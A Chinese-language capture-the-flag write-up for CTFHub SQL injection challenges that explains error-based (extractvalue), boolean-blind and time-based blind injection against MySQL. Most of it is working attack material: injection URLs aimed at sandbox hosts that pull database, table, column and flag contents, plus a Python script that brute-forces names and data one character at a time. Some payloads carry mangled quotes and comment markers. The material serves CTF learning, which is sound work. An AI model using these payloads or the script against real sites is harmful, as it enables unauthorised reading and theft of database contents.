对xml文件进行查询的函数,会从xml文件中返回所包含查询值的字符串,语法:
extractvalue('xml_document','Xpath_string')
extractvalue('目标文件名',;'在xml中查询的字符串')
第二个参数要求是xpath格式的字符串,语法正确是会按照路径 /该xml文件/要查询的字符串 进行查询
如果我们输入的Xpath_string不对就会报错,而如果页面回显sql报错信息就可以得到我们想要的信息了。
此处的xml_document可以是anything
使用concat函数拼接一个错误的Xpath让mysql报错得到包含查询值的字符串
select(extractvalue(1,concat(0x7e,database)));
修改database()部分可以爆表,列,值
concat存在的意义就是让extractvalue函数的第二个参数出错,所以concat拼接的参数是个非法字符就行
所以在爆表,列,值的时候需要加上limit x,1逐一查询(limit m,n跳过前m项数据后获取n条记录)
假设有三列
select 1,2,(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1/1,1/2,1))))
http://challenge-cd4501bf2d967240.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,database())) --+
http://challenge-eddaa6cf232442c3.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)))--+
http://challenge-eddaa6cf232442c3.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’flag’ limit 0,1)))–+
http://challenge-eddaa6cf232442c3.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,(select flag from flag limit 0,1))) –+
http://challenge-eddaa6cf232442c3.sandbox.ctfhub.com:10800/?id=1 and extractvalue(1,concat(0x7e,(select flag from flag limit 1,1))) –+
然后就爆完了
playload:and length(database()) =8 --+ /判断数据库名长度
是否等于8
如果不等于
则返回错,并且返回index.php
如果等于就返回query_success
这一道题我看其它人的wp是数据库为空时还会返回空,一般情况下是数据库为空或者查询语句报错时都会报错,所以应该先判断空时是否会报错?id=1 and 0=1 –+
判断数据库名字的长度http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and length(database()) = 3 –+
判断数据库名字的长度http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and length(database()) = 4 –+
判断数据库名字http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and database() = ‘sqli’ –+
判断数据库中表的名字http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and (select table_name from information_schema.tables where table_schema=’sqli’ limit 0,1) = ‘flag’ –+ 这个地方加limit 0,1是因为不只有一个表
判断flag表中字段的名字http://challenge-bd35c68c095833d0.sandbox.ctfhub.com:10800/?id=1 and (select column_name from information_schema.columns where table_name=’flag’ limit 0,1) = ‘flag’ –+
后面实在是写不出来了,就跑一下吧
import requests
import time
urlOPEN = 'http://challenge-80bbba4d1e9ce716.sandbox.ctfhub.com:10080/?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
print(name)
break
print('database_name:',name)
database_name()
def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)
#start = time.time()
table_name()
#stop = time.time()
#starOperatorTime.append(stop-start)
#print("所用的平均时间: " + str(sum(starOperatorTime)/100))
def column_name():
list = []
for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,9): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)
column_name()
def get_data():
name=''
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)
get_data()
最后用这个脚本跑出来了
一.
1.count()函数:统计查询结果的数量;
2.length(str)函数:返回字符串 str的长度;
3.left()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误返回0
left((select database()),1)=‘s’ 同样的意思
4.regexp : select user() regexp ‘r’; user()的结果是root@localhost,regexp为匹配root的正则表达式
5.like : select user() like ‘ro%’; 匹配与regexp相似
6.substr(a,b,c): select substr() xxxx; substr(a,b,c)从位置b开始,截取a字符串的c位长度
7.mid(a,b,c): select mid(user(),1,2); mid(a,b,c)从位置b开始,截取a字符串的c位长度
8.ascii() 将某个字符转化为其ascii值
9.limit 0,1:元素索引是从0开始(不是1) 从元素索引位置为1的数据(即第2位)开始输出一个值
睡眠函数,可以使查询数据时回显数据的相应时间加长
sleep(N) 这里N是睡眠的时间
使用时可以配合if使用
if(ascii(substr(user(),1,1)) = 114,sleep(5),2) 这句话的意思是,如果user()中的第一个字符的ascii码为114时,睡眠5s,否则输出2,需要注意的是,这5s是在服务器的数据库中延迟的,实际情况可能会由于网络环境等因素延迟更长时间
和1=1返回页面相同,说明不是布尔盲注,是时间盲注
1' and 1=1 --+ 页面返回有数据
1' and 1=2 --+ 页面返回也有数据
判断可以使用的注入方法
sleep()判断能否利用时间盲注
1' and sleep(5) --+ 页面延时了,则为时间盲注
猜数据库名称长度
1' and if(length(database()) = 10,sleep(5),1) --+ 页面延时了,则当前数据库名称长度为10
猜测数据库名称(ASCII码)
1' and if(ascii(substr(database()))=107,sleep(5),1) --+ 如果页面延时了,则第一个字符的ascii码值为107
判断长度
?id=1' and if(length(database())=8,sleep(10),1) --+ 如果页面窗口转了10s,说明长度为8
猜测字符(数据库名第一位) ?id=1’ and if(mid(database(),1,1)=’s’,10,0) –+ 如果页面跳转了10s,说明database的第一个字符为s
猜测字符(猜测第一个表名的第一位)
判断数据库名字长度
用二分法逐个字符判断数据库名字,例如这个地方先判断了第一个字符是s,(ascii(s) = 115)
判断数据库中表的个数
http://challenge-24d32a3bc03290f9.sandbox.ctfhub.com:10800/?id=1 and if((select count(table_name) from information_schema.tables where table_schema='sqli') = 2,sleep(10),0) --+
逐个字符判断数据库中表的名字,(此处ascii(f) = 102)
http://challenge-24d32a3bc03290f9.sandbox.ctfhub.com:10800/?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 102,sleep(10),0) --+
猜测flag表的字段数
http://challenge-24d32a3bc03290f9.sandbox.ctfhub.com:10800/?id=1 and if((select count(column_name) from information_schema.columns where table_name = 'flag') = 1,sleep(10),0) --+